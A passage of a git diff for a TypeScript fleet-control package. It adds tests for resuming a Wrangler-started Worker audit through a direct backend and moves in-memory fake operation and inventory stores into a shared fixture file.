sources: PlainWorkerHarness[] = []; + for (const tenantTag of AUDIT_TENANT_TAGS) { + const spec = auditSpec(tenantTag); + specs.set(tenantTag, spec); + const source = wrangler(world); + sources.push(source); + records.push((await provision(source, spec)).record); + } + const wranglerOrigin = sources[0]; + if (!wranglerOrigin) throw new Error('audit fleet has no Wrangler origin'); + + const inventory = await plainOnlyClient( + recordingFetch(restProjection(world)), + new HarnessExportStore(), + ).collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + }); + const operationStore = new FakeOperationStore(); + const inventoryStore = new FakeInventoryRunStore(); + inventoryStore.registerFinalizedGeneration(1, inventory); + const fleetStore = new ContinuationFleetStore(records); + const log: string[] = []; + const specFor = (record: FleetRecord) => { + const spec = specs.get(record.tenantTag); + if (!spec) throw new Error(`no spec for '${record.tenantTag}'`); + return spec; + }; + const maintenanceSecretFor = () => sharedSecrets.maintenanceAdmin; + return { + world, + records, + inventory, + operationStore, + fleetStore, + log, + wranglerBackend: observedAuditBackend( + 'wrangler', + wranglerOrigin.backend, + log, + ), + directBackend: observedAuditBackend( + 'direct', + directHarness(world).backend, + log, + ), + specFor, + maintenanceSecretFor, + options(action, backend) { + return { + operationStore, + inventoryStore, + fleetStore, + action, + backendFor: () => backend, + specFor, + maintenanceSecretFor, + auditClock: () => AUDIT_NOW_MS, + authorityClock: () => AUDIT_NOW_MS, + }; + }, + }; +} + +function auditInspections(log: readonly string[]): readonly string[] { + return log.filter((entry) => entry.includes(':inspect:')); +} + +function auditMaintenanceCalls(log: readonly string[]): readonly string[] { + return log.filter((entry) => entry.includes(':ensureMaintenance:')); +} + +function pendingAuditToken( + result: FleetAuditAdvanceResult, +): FleetOperationToken { + if (result.status !== 'pending') { + throw new Error(`expected a pending audit result, got '${result.status}'`); + } + return result.token; +} + +/** + * Advances the operation through `backend` until `stop` holds, and answers the + * token the next leg resumes from. `cap` is slack: every stage this fleet + * reaches commits once per call. + */ +async function advanceAuditUntil( + fleet: AuditFleet, + backend: ProvisioningBackend, + firstToken: FleetOperationToken, + stop: () => boolean, + cap = 60, +): Promise { + let token = firstToken; + for (let attempt = 0; attempt < cap; attempt += 1) { + if (stop()) return token; + token = pendingAuditToken( + await advanceFleetAudit( + fleet.options({ kind: 'continue', token }, backend), + ), + ); + } + throw new Error(`advanceAuditUntil exceeded its ${cap}-call cap`); +} + +/** Advances the operation through `backend` to a terminal result. */ +async function advanceAuditToTerminal( + fleet: AuditFleet, + backend: ProvisioningBackend, + firstToken: FleetOperationToken, + cap = 60, +): Promise { + let token = firstToken; + for (let attempt = 0; attempt < cap; attempt += 1) { + const result = await advanceFleetAudit( + fleet.options({ kind: 'continue', token }, backend), + ); + if (result.status !== 'pending') return result; + token = result.token; + } + throw new Error(`advanceAuditToTerminal exceeded its ${cap}-call cap`); +} + +describe('ordinary Worker cross-backend audit continuation', () => { + afterEach(assertHarnessFailuresConsumed); + + it('finishes a Wrangler-origin audit through the direct backend on the token leg 1 minted', async () => { + const fleet = await wranglerAuditFleet(); + const operationId = uuidFor(701); + + const started = await advanceFleetAudit( + fleet.options( + { + kind: 'start', + operationId, + records: fleet.records, + staleAfterMs: AUDIT_STALE_AFTER_MS, + }, + fleet.wranglerBackend, + ), + ); + const handoff = await advanceAuditUntil( + fleet, + fleet.wranglerBackend, + pendingAuditToken(started), + () => auditInspections(fleet.log).length === 1, + ); + expect(auditInspections(fleet.log)).toEqual(['wrangler:inspect:acme']); + + // The switch is a `backendFor` switch over the same operation store, the + // same inventory store, and the same world: the token carries only + // { version, operationId, revision }. + const resumed = await advanceFleetAudit( + fleet.options({ kind: 'continue', token: handoff }, fleet.directBackend), + ); + + expect(resumed.token.operationId).toBe(handoff.operationId); + expect(resumed.token.revision).toBeGreaterThan(handoff.revision); + expect(auditInspections(fleet.log)).toEqual([ + 'wrangler:inspect:acme', + 'direct:inspect:beta', + ]); + const terminal = + resumed.status === 'pending' + ? await advanceAuditToTerminal( + fleet, + fleet.directBackend, + resumed.token, + ) + : resumed; + expect(terminal.status).toBe('complete'); + if (terminal.status !== 'complete') throw new Error('unreachable'); + expect(terminal.result).toMatchObject({ + operationId, + generation: 1, + recordCount: fleet.records.length, + }); + expect(auditInspections(fleet.log)).toEqual([ + 'wrangler:inspect:acme', + 'direct:inspect:beta', + ]); + }); + + it('audits the direct leg without a maintenance mutation', async () => { + const fleet = await wranglerAuditFleet(); + const operationId = uuidFor(702); + + const started = await advanceFleetAudit( + fleet.options( + { + kind: 'start', + operationId, + records: fleet.records, + staleAfterMs: AUDIT_STALE_AFTER_MS, + }, + fleet.wranglerBackend, + ), + ); + const handoff = await advanceAuditUntil( + fleet, + fleet.wranglerBackend, + pendingAuditToken(started), + () => auditInspections(fleet.log).length === 1, + ); + const before = worldFacts(fleet.world); + + const terminal = await advanceAuditToTerminal( + fleet, + fleet.directBackend, + handoff, + ); + + expect(terminal.status).toBe('complete'); + // The world's maintenance POST answers health without touching the + // collections `worldFacts` snapshots, so the snapshot alone cannot rule a + // re-arm out; the backend's own call log does. + expect(worldFacts(fleet.world)).toEqual(before); + expect(auditMaintenanceCalls(fleet.log)).toEqual([]); + }); + + it('reads the same successful findings after the switch as a single-backend audit', async () => { + const fleet = await wranglerAuditFleet(); + const operationId = uuidFor(703); + + const started = await advanceFleetAudit( + fleet.options( + { + kind: 'start', + operationId, + records: fleet.records, + staleAfterMs: AUDIT_STALE_AFTER_MS, + }, + fleet.wranglerBackend, + ), + ); + const handoff = await advanceAuditUntil( + fleet, + fleet.wranglerBackend, + pendingAuditToken(started), + () => auditInspections(fleet.log).length === 1, + ); + const terminal = await advanceAuditToTerminal( + fleet, + fleet.directBackend, + handoff, + ); + expect(terminal.status).toBe('complete'); + + const page = await readFleetAuditFindingsPage(fleet.operationStore, { + operationId, + limit: 100, + }); + const singleBackend = await auditFleetDrift({ + store: new ContinuationFleetStore(fleet.records), + records: fleet.records, + inventory: fleet.inventory, + backendFor: () => directHarness(fleet.world).backend, + specFor: fleet.specFor, + maintenanceSecretFor: fleet.maintenanceSecretFor, + staleAfterMs: AUDIT_STALE_AFTER_MS, + now: AUDIT_NOW_MS, + }); + + expect(page).toMatchObject({ findings: [], done: true }); + expect(page.findings).toEqual(singleBackend); + // An identical `audit-error` list on both sides would satisfy the equality + // above without either side reaching a deployment, so each inspection's + // recorded outcome carries the proof that it succeeded. + expect(fleet.log).toEqual([ + 'wrangler:inspect:acme', + 'wrangler:live:acme', + 'direct:inspect:beta', + 'direct:live:beta', + ]); + }); +}); diff --git a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts new file mode 100644 index 00000000..4f77bd91 --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts @@ -0,0 +1,804 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + FleetInventoryGeneration, + FleetInventoryGenerationRef, + FleetInventoryLease, + FleetInventoryRowKind, + FleetInventoryRunOptions, + FleetInventoryRunRecord, + FleetInventoryRunStore, + FleetInventoryStagedFact, + FleetInventoryStagedRow, +} from '../../src/fleet-inventory-state.js'; +import { emptyFleetInventoryRowCounts } from '../../src/fleet-inventory-state.js'; +import { + canonicalFleetOperationBytes, + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationRowKind, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStateError, + type FleetOperationStore, + fleetOperationOtherKindMessage, + fleetOperationStagedRowFromUnknown, +} from '../../src/fleet-operation-state.js'; +import type { + FleetInventoryDeployment, + FleetResourceInventory, +} from '../../src/types.js'; + +// --------------------------------------------------------------------------- +// In-memory FleetOperationStore and FleetInventoryRunStore fakes for the +// bounded audit coordinator, plus the frozen clock their generation refs are +// stamped with. Suites that pin audit behaviour against a fabricated world and +// suites that pin it against a real ProviderWorld share these, so a change to +// the durable contract lands in one place. +// --------------------------------------------------------------------------- + +/** The frozen instant this fixture stamps finalized generations with. */ +export const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); + +export function uuidFor(seed: number): string { + return `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`; +} + +// --------------------------------------------------------------------------- +// Fake FleetInventoryRunStore: registers a finalized generation directly from +// a FleetResourceInventory, going through the real materialization codec. +// --------------------------------------------------------------------------- + +function stageInventoryFixture(inventory: FleetResourceInventory): { + rows: FleetInventoryStagedRow[]; + facts: FleetInventoryStagedFact[]; + options: FleetInventoryRunOptions; +} { + const rows: FleetInventoryStagedRow[] = []; + const facts: FleetInventoryStagedFact[] = []; + let ordinal = 0; + for (const finding of inventory.findings) { + rows.push({ + kind: 'finding', + ordinal: ordinal++, + payload: { record: 'finding', ...finding }, + }); + } + ordinal = 0; + for (const registration of inventory.scriptRegistrations) { + rows.push({ + kind: 'registration', + ordinal: ordinal++, + payload: { record: 'registration', ...registration }, + }); + } + ordinal = 0; + for (const deployment of inventory.deployments) { + const deploymentOrdinal = ordinal++; + const { + databaseIds, + durableObjectBindings, + serviceBindings, + queueProducerBindings, + kvNamespaceBindings, + r2BucketBindings, + secretNames, + plainTextBindings, + routeHostnames, + zoneRoutes, + ...identity + } = deployment as FleetInventoryDeployment & { + kvNamespaceBindings?: readonly Readonly<{ + name: string; + namespaceId: string; + }>[]; + zoneRoutes?: readonly Readonly<{ zoneId: string; routeId: string }>[]; + }; + rows.push({ + kind: 'deployment', + ordinal: deploymentOrdinal, + payload: { record: 'deployment', ...identity }, + }); + let factOrdinal = 0; + for (const databaseId of databaseIds ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'database-id', + factOrdinal: factOrdinal++, + payload: { databaseId }, + }); + } + for (const binding of durableObjectBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'durable-object-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of serviceBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'service-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of queueProducerBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'queue-producer-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of kvNamespaceBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'kv-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of r2BucketBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'r2-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const secretName of secretNames ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'secret-name', + factOrdinal: factOrdinal++, + payload: { secretName }, + }); + } + for (const [name, text] of Object.entries(plainTextBindings ?? {})) { + facts.push({ + deploymentOrdinal, + factKind: 'plain-text-binding', + factOrdinal: factOrdinal++, + payload: { name, text }, + }); + } + for (const hostname of routeHostnames ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'route-hostname', + factOrdinal: factOrdinal++, + payload: { hostname }, + }); + } + for (const zoneRoute of zoneRoutes ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'zone-route', + factOrdinal: factOrdinal++, + payload: { ...zoneRoute }, + }); + } + } + ordinal = 0; + for (const databaseId of inventory.databaseIds) { + rows.push({ + kind: 'database-id', + ordinal: ordinal++, + payload: { record: 'database-id', databaseId }, + }); + } + ordinal = 0; + for (const namespaceId of inventory.namespaceIds) { + rows.push({ + kind: 'namespace-id', + ordinal: ordinal++, + payload: { record: 'namespace-id', namespaceId }, + }); + } + ordinal = 0; + for (const bucket of inventory.r2Buckets ?? []) { + rows.push({ + kind: 'r2-bucket', + ordinal: ordinal++, + payload: { record: 'r2-bucket', ...bucket }, + }); + } + ordinal = 0; + for (const route of inventory.routes) { + rows.push({ + kind: 'route', + ordinal: ordinal++, + payload: { record: 'route', ...route }, + }); + } + const options: FleetInventoryRunOptions = { + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + includeR2Buckets: true, + ...(inventory.hostRoutingKvId === undefined + ? {} + : { hostRoutingKvId: inventory.hostRoutingKvId }), + }; + return { rows, facts, options }; +} + +export class FakeInventoryRunStore implements FleetInventoryRunStore { + readonly refs = new Map(); + readonly generations = new Map< + number, + { rows: FleetInventoryStagedRow[]; facts: FleetInventoryStagedFact[] } + >(); + readonly runs = new Map(); + readonly pins: { generation: number; pinnedBy: string }[] = []; + readonly releasedPins: { generation: number; pinnedBy: string }[] = []; + latestGeneration: number | undefined; + latestFinalizedGenerationCalls = 0; + readFinalizedGenerationCalls = 0; + readRunByOperationCalls = 0; + unreadableGenerations = new Set(); + pinFailsForGeneration: number | undefined; + /** + * When set, `latestFinalizedGeneration` throws it instead of answering, so + * an unwanted call fails its title outright rather than being counted after + * the fact (§11's "instrumented to fail the test if invoked"). + * + * Arming is the caller's job because this fake has no notion of "the replay + * path" and cannot detect one; a title arms it once its own legitimate call + * has returned. Arming it for every title would break the suite instead: + * `buildHarness` hands each title its own store, and EVERY implicit-generation + * start calls this method. + */ + latestFinalizedGenerationError: Error | undefined; + + registerFinalizedGeneration( + generation: number, + inventory: FleetResourceInventory, + ): void { + const { rows, facts, options } = stageInventoryFixture(inventory); + const rowManifest: Record = { + ...emptyFleetInventoryRowCounts(), + }; + for (const row of rows) { + rowManifest[row.kind] = (rowManifest[row.kind] ?? 0) + 1; + } + const operationId = uuidFor(900_000 + generation); + const ref: FleetInventoryGenerationRef = { + generation, + operationId, + finalizedAtMs: AUDIT_NOW, + rowManifest, + factCount: facts.length, + }; + this.refs.set(generation, ref); + this.generations.set(generation, { rows, facts }); + this.runs.set(operationId, { + version: 1, + operationId, + optionsDigest: `digest-${generation}`, + options, + state: 'finalized', + progress: { + stage: { step: 'finalize' }, + generation, + revision: 1, + stagedCounts: rowManifest, + factCount: facts.length, + providerRequests: 0, + }, + updatedAt: new Date(AUDIT_NOW).toISOString(), + }); + this.latestGeneration = generation; + } + + async withAccountInventoryLease( + operation: (lease: FleetInventoryLease) => Promise, + ): Promise { + // Unused by the audit coordinator (pinGeneration/releasePin are + // store-level, not lease-level); a throwing stub is sufficient. + return operation({ + assertOwned: () => Promise.reject(new Error('unused')), + } as unknown as FleetInventoryLease); + } + + async readFinalizedGeneration( + generation: number, + ): Promise { + this.readFinalizedGenerationCalls += 1; + if (this.unreadableGenerations.has(generation)) { + throw new Error( + `fleet inventory generation ${generation} is not finalized`, + ); + } + const ref = this.refs.get(generation); + const stored = this.generations.get(generation); + if (!ref || !stored) { + throw new Error( + `fleet inventory generation ${generation} is not finalized`, + ); + } + return { ref, rows: stored.rows, facts: stored.facts }; + } + + async latestFinalizedGeneration(): Promise< + FleetInventoryGenerationRef | undefined + > { + this.latestFinalizedGenerationCalls += 1; + if (this.latestFinalizedGenerationError !== undefined) { + throw this.latestFinalizedGenerationError; + } + return this.latestGeneration === undefined + ? undefined + : this.refs.get(this.latestGeneration); + } + + async readRunByOperation( + operationId: string, + ): Promise { + this.readRunByOperationCalls += 1; + return this.runs.get(operationId); + } + + async pinGeneration( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + if (this.pinFailsForGeneration === input.generation) { + throw new Error( + `fleet inventory generation ${input.generation} cannot be pinned`, + ); + } + this.pins.push({ ...input }); + } + + async releasePin( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + this.releasedPins.push({ ...input }); + } + + async pruneInventoryGenerations(): Promise> { + return { deleted: 0 }; + } +} + +function payloadBytes(row: FleetOperationStagedRow): string { + return row.rowKind === 'record' + ? canonicalFleetOperationBytes(row.payload) + : JSON.stringify(row.payload); +} + +// Head-scoped lease reads exercise the coordinator's head-independent fallback. +export class FakeOperationStore implements FleetOperationStore { + readonly heads = new Map(); + readonly operations = new Map(); + readonly intakeDigests = new Map(); + readonly rows = new Map(); + readonly locked = new Set(); + readonly probeMiss = new Set(); + loseLeaseKind: FleetOperationKind | undefined; + leaseCount = 0; + readOperationByIdCalls = 0; + readonly rowPageReadCounts = new Map(); + stagedRowCodecCalls = 0; + /** + * Runs on the NEXT `readOperationById` and disarms itself. One-shot on + * purpose: `readFleetAuditFindingsPage` and the start path's catch-all call + * the same method, so a hook armed for one coordinator call must not leak + * into either. + */ + onNextReadOperationById: (() => void) | undefined; + loseNextSuccessfulCommitProgressResponse: Error | undefined; + + #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string { + return `${operationId}:${rowKind}`; + } + + async withAccountOperationLease( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease) => Promise, + ): Promise { + if (this.locked.has(kind)) { + throw new Error( + `fleet ${kind} operations for account 'test' are already being modified`, + ); + } + this.locked.add(kind); + this.leaseCount += 1; + const lost = this.loseLeaseKind === kind; + const lease: FleetOperationLease = { + assertOwned: async () => { + if (lost) { + throw new Error( + `fleet ${kind} operation lease for account 'test' is no longer owned by this operation`, + ); + } + }, + startOperation: async (input) => this.#startOperation(input), + readOperation: async (operationId) => { + const op = this.operations.get(operationId); + if (!op) return undefined; + return this.heads.get(op.kind) === operationId ? op : undefined; + }, + stageRows: async (input) => this.#stageRows(input), + commitProgress: async (input) => { + const committed = await this.#commitProgress(input); + const lost = this.loseNextSuccessfulCommitProgressResponse; + if (lost === undefined) return committed; + this.loseNextSuccessfulCommitProgressResponse = undefined; + throw lost; + }, + finalizeOperation: async (input) => this.#finalizeOperation(kind, input), + failOperation: async (input) => this.#failOperation(kind, input), + }; + try { + return await operation(lease); + } finally { + this.locked.delete(kind); + } + } + + async readOperationById( + operationId: string, + ): Promise { + this.readOperationByIdCalls += 1; + const hook = this.onNextReadOperationById; + if (hook !== undefined) { + this.onNextReadOperationById = undefined; + hook(); + } + if (this.probeMiss.has(operationId)) { + this.probeMiss.delete(operationId); + return undefined; + } + return this.operations.get(operationId); + } + + async readOperationRowsPage( + input: Readonly<{ + operationId: string; + rowKind: FleetOperationRowKind; + afterOrdinal?: number; + limit: number; + }>, + ): Promise< + Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> + > { + this.rowPageReadCounts.set( + input.rowKind, + (this.rowPageReadCounts.get(input.rowKind) ?? 0) + 1, + ); + const key = this.#rowsKey(input.operationId, input.rowKind); + const all = [...(this.rows.get(key) ?? [])].sort( + (left, right) => left.ordinal - right.ordinal, + ); + const after = input.afterOrdinal ?? -1; + const filtered = all.filter((row) => row.ordinal > after); + const page = filtered.slice(0, input.limit); + return { rows: page, done: filtered.length <= input.limit }; + } + + async pruneFleetOperations(): Promise< + Readonly<{ deleted: number; releasedPins: number }> + > { + return { deleted: 0, releasedPins: 0 }; + } + + #startOperation( + input: Parameters[0], + ): ReturnType { + const { operationId, kind, runRecord, intakeDigest } = input; + const existing = this.operations.get(operationId); + if (existing) { + if (existing.kind !== kind) { + throw new Error( + `fleet operation '${operationId}' belongs to the other operation kind`, + ); + } + if (this.intakeDigests.get(operationId) !== intakeDigest) { + throw new Error( + `fleet operation '${operationId}' already exists with a different intake`, + ); + } + return Promise.resolve({ + outcome: + existing.state === 'running' + ? ('adopted-running' as const) + : ('adopted-terminal' as const), + record: existing, + }); + } + if (this.heads.has(kind)) { + throw new Error( + `another fleet ${kind} operation is active for this account`, + ); + } + this.operations.set(operationId, runRecord); + this.intakeDigests.set(operationId, intakeDigest); + this.heads.set(kind, operationId); + return Promise.resolve({ outcome: 'created' as const, record: runRecord }); + } + + #stageRows(input: Parameters[0]): void { + const { operationId } = input; + const rows = this.#validatedRows(input.rows); + for ( + let offset = 0; + offset < rows.length; + offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { + const staged = new Map(); + for (const row of rows.slice( + offset, + offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + )) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = staged.get(key) ?? [...(this.rows.get(key) ?? [])]; + const existing = list.find((prior) => prior.ordinal === row.ordinal); + if (existing && payloadBytes(existing) !== payloadBytes(row)) { + throw new Error('immutable operation row payload differs'); + } + if (!existing) list.push(row); + staged.set(key, list); + } + for (const [key, list] of staged) this.rows.set(key, list); + } + } + + #commitProgress( + input: Parameters[0], + ): ReturnType { + const { + operationId, + expectedRevision, + runRecord, + rows: inputRows = [], + updateRows: inputUpdateRows = [], + expectedRowWatermarks = {}, + } = input; + const rows = this.#validatedRows(inputRows); + const updateRows = this.#validatedRows(inputUpdateRows); + const mutationKeys = [...rows, ...updateRows].map( + (row) => `${row.rowKind}:${row.ordinal}`, + ); + if ( + updateRows.some((row) => row.rowKind !== 'item') || + new Set(mutationKeys).size !== mutationKeys.length + ) { + throw new FleetOperationStateError(); + } + if ( + rows.length + updateRows.length + 1 > + FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { + throw new Error( + `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`, + ); + } + for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { + const below = rows.filter( + (row) => row.rowKind === rowKind && row.ordinal < (watermark as number), + ); + const prefix = (watermark as number) - below.length; + if (below.some((row) => row.ordinal < prefix)) { + throw new Error( + `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, + ); + } + } + const current = this.operations.get(operationId); + const matches = + current !== undefined && + current.state === 'running' && + current.progress.revision === expectedRevision; + if (matches) { + for (const [rowKind, watermark] of Object.entries( + expectedRowWatermarks, + )) { + const key = this.#rowsKey( + operationId, + rowKind as FleetOperationRowKind, + ); + const ordinals = new Set( + (this.rows.get(key) ?? []).map((existing) => existing.ordinal), + ); + for (const row of rows) { + if (row.rowKind === rowKind) ordinals.add(row.ordinal); + } + const count = [...ordinals].filter( + (ordinal) => ordinal < (watermark as number), + ).length; + if (count !== watermark) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + for (const row of updateRows) { + const list = this.rows.get(this.#rowsKey(operationId, row.rowKind)); + if (!list?.some((existing) => existing.ordinal === row.ordinal)) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + for (const row of rows) { + const stored = this.rows + .get(this.#rowsKey(operationId, row.rowKind)) + ?.find((existing) => existing.ordinal === row.ordinal); + if (stored && payloadBytes(stored) !== payloadBytes(row)) { + throw new Error('immutable operation row payload differs'); + } + } + for (const row of rows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + if (!list.some((existing) => existing.ordinal === row.ordinal)) { + list.push(row); + this.rows.set(key, list); + } + } + for (const row of updateRows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const index = list.findIndex( + (existing) => existing.ordinal === row.ordinal, + ); + if (index >= 0) list[index] = row; + } + this.operations.set(operationId, runRecord); + return Promise.resolve(runRecord); + } + const persisted = this.operations.get(operationId); + if (!persisted) throw new Error(`no fleet operation '${operationId}'`); + for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { + const list = + this.rows.get( + this.#rowsKey(operationId, rowKind as FleetOperationRowKind), + ) ?? []; + const count = list.filter( + (row) => row.ordinal < (watermark as number), + ).length; + if (count !== watermark) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + if ( + persisted.progress.revision !== runRecord.progress.revision || + JSON.stringify(persisted) !== JSON.stringify(runRecord) + ) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + let complete = true; + for (const row of [...rows, ...updateRows]) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const stored = list.find((existing) => existing.ordinal === row.ordinal); + if (!stored) complete = false; + else if (payloadBytes(stored) !== payloadBytes(row)) { + throw new Error( + `fleet operation '${operationId}' staged rows diverge from the persisted operation`, + ); + } + } + if (!complete) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + return Promise.resolve(persisted); + } + + #validatedRows( + rows: readonly FleetOperationStagedRow[], + ): FleetOperationStagedRow[] { + return rows.map((row) => { + this.stagedRowCodecCalls += 1; + return fleetOperationStagedRowFromUnknown(row); + }); + } + + #finalizeOperation( + kind: FleetOperationKind, + input: Parameters[0], + ): ReturnType { + const { + operationId, + expectedRevision, + runRecord, + expectedRowCounts, + requireAllItemsComplete, + } = input; + const current = this.operations.get(operationId); + if (current && current.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } + if ( + current?.state !== 'running' || + current.progress.revision !== expectedRevision + ) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + for (const [rowKind, count] of Object.entries(expectedRowCounts)) { + const list = + this.rows.get( + this.#rowsKey(operationId, rowKind as FleetOperationRowKind), + ) ?? []; + if (list.length !== count) { + throw new Error( + `fleet operation '${operationId}' does not match its finalize counts`, + ); + } + } + if (requireAllItemsComplete) { + const items = this.rows.get(this.#rowsKey(operationId, 'item')) ?? []; + const complete = items.filter( + (row) => + (row.payload as Readonly<{ status?: string }>).status === 'complete', + ).length; + const itemCount = (runRecord.progress as Readonly<{ itemCount?: number }>) + .itemCount; + if (complete !== itemCount) { + throw new Error( + `fleet operation '${operationId}' does not match its finalize counts`, + ); + } + } + const finalized: FleetOperationRunRecord = { + ...runRecord, + terminalAtMs: Date.now(), + }; + this.operations.set(operationId, finalized); + if (this.heads.get(current.kind) === operationId) { + this.heads.delete(current.kind); + } + return Promise.resolve(finalized); + } + + #failOperation( + kind: FleetOperationKind, + input: Parameters[0], + ): Promise { + const { operationId, expectedRevision, runRecord, updateRows = [] } = input; + if (updateRows.length > 1) { + throw new Error('failOperation accepts at most one updateRow'); + } + const current = this.operations.get(operationId); + if (current && current.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } + if ( + current?.state !== 'running' || + current.progress.revision !== expectedRevision + ) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + for (const row of updateRows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const index = list.findIndex( + (existing) => existing.ordinal === row.ordinal, + ); + if (index >= 0) list[index] = row; + } + const failed: FleetOperationRunRecord = { + ...runRecord, + terminalAtMs: Date.now(), + }; + this.operations.set(operationId, failed); + if (this.heads.get(current.kind) === operationId) { + this.heads.delete(current.kind); + } + return Promise.resolve(); + } +} diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 181073a7..69712dd7 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -17,18 +17,6 @@ import { fleetAuditFactRowFromUnknown, fleetAuditProgressFromUnknown, } from '../src/fleet-audit-state.js'; -import type { - FleetInventoryGeneration, - FleetInventoryGenerationRef, - FleetInventoryLease, - FleetInventoryRowKind, - FleetInventoryRunOptions, - FleetInventoryRunRecord, - FleetInventoryRunStore, - FleetInventoryStagedFact, - FleetInventoryStagedRow, -} from '../src/fleet-inventory-state.js'; -import { emptyFleetInventoryRowCounts } from '../src/fleet-inventory-state.js'; import { canonicalFleetOperationBytes, FLEET_OPERATION_INTAKE_BYTE_BOUND, @@ -37,11 +25,7 @@ import { FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, FLEET_OPERATION_ROW_READ_BOUND, - FLEET_OPERATION_STAGE_BATCH_STATEMENTS, FLEET_OPERATION_STRING_BYTE_BOUND, - type FleetOperationKind, - type FleetOperationLease, - type FleetOperationRowKind, type FleetOperationRunRecord, type FleetOperationStagedRow, FleetOperationStateError, @@ -53,7 +37,6 @@ import { fleetOperationItemsIntake, fleetOperationOtherKindMessage, fleetOperationRunRecordFromUnknown, - fleetOperationStagedRowFromUnknown, readAllFleetOperationRows, } from '../src/fleet-operation-state.js'; import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js'; @@ -70,17 +53,21 @@ import type { ProvisioningBackend, ProvisioningBackendKind, } from '../src/types.js'; +import { + AUDIT_NOW, + FakeInventoryRunStore, + FakeOperationStore, + uuidFor, +} from './fixtures/fleet-operation-fakes.js'; // --------------------------------------------------------------------------- // Fixed identities, clocks, and small builders. This world is INLINE and // INDEPENDENT of `test/fixtures/fleet-audit-world.ts` (§10 SECOND-WORLD NOTE): -// it never imports that fixture. +// it never imports that fixture. The durable operation and inventory store +// fakes come from `test/fixtures/fleet-operation-fakes.ts`, which carries no +// world of its own. // --------------------------------------------------------------------------- -function uuidFor(seed: number): string { - return `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`; -} - /** * A view of `target` with exactly one method hidden — including inherited * (prototype) methods, unlike an object spread, which drops every method a @@ -128,7 +115,6 @@ function pageTransformingStore( const ENVIRONMENT = 'production'; const SPEC_DIGEST = 'a'.repeat(64); -const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); const STALE_AFTER_MS = 3_600_000; const FRESH_UPDATED_AT = new Date(AUDIT_NOW - 30 * 60_000).toISOString(); @@ -451,764 +437,6 @@ class FakeFleetStateStore implements FleetStateStore { } } -// --------------------------------------------------------------------------- -// Fake FleetInventoryRunStore: registers a finalized generation directly from -// a FleetResourceInventory, going through the real materialization codec. -// --------------------------------------------------------------------------- - -function stageInventoryFixture(inventory: FleetResourceInventory): { - rows: FleetInventoryStagedRow[]; - facts: FleetInventoryStagedFact[]; - options: FleetInventoryRunOptions; -} { - const rows: FleetInventoryStagedRow[] = []; - const facts: FleetInventoryStagedFact[] = []; - let ordinal = 0; - for (const finding of inventory.findings) { - rows.push({ - kind: 'finding', - ordinal: ordinal++, - payload: { record: 'finding', ...finding }, 